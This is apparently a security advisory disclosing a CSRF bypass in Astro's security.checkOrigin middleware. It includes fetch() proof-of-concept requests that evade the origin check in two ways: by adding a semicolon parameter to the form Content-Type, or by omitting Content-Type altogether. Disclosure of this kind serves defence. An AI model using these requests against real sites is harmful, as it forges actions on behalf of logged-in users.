Atro CSRF Middleware Bypass (security.checkOrigin)

Summary

A bug in Astro’s CSRF-protection middleware allows requests to bypass CSRF checks.

Details

When the security.checkOrigin configuration option is set to true, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts)

For example, with the following Astro configuration:

// astro.config.mjs
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
	output: 'server',
	security: { checkOrigin: true },
	adapter: node({ mode: 'standalone' }),
});

A request like the following would be blocked if made from a different origin:

// fetch API or <form action="https://test.example.com/" method="POST">
fetch('https://test.example.com/', {
	method: 'POST',
	credentials: 'include',
	body: 'a=b',
	headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
});
// => Cross-site POST form submissions are forbidden

However, a vulnerability exists that can bypass this security.

Pattern 1: Requests with a semicolon after the Content-Type

A semicolon-delimited parameter is allowed after the type in Content-Type.

Web browsers will treat a Content-Type such as application/x-www-form-urlencoded; abc as a simple request and will not perform preflight validation. In this case, CSRF is not blocked as expected.

fetch('https://test.example.com', {
	method: 'POST',
	credentials: 'include',
	body: 'test',
	headers: { 'Content-Type': 'application/x-www-form-urlencoded; abc' },
});
// => Server-side functions are executed (Response Code 200).

Pattern 2: Request without Content-Type header

The Content-Type header is not required for a request. The following examples are sent without a Content-Type header, resulting in CSRF.

// Pattern 2.1 Request without body
fetch('http://test.example.com', { method: 'POST', credentials: 'include' });

// Pattern 2.2 Blob object without type
fetch('https://test.example.com', {
	method: 'POST',
	credentials: 'include',
	body: new Blob(['a=b'], {}),
});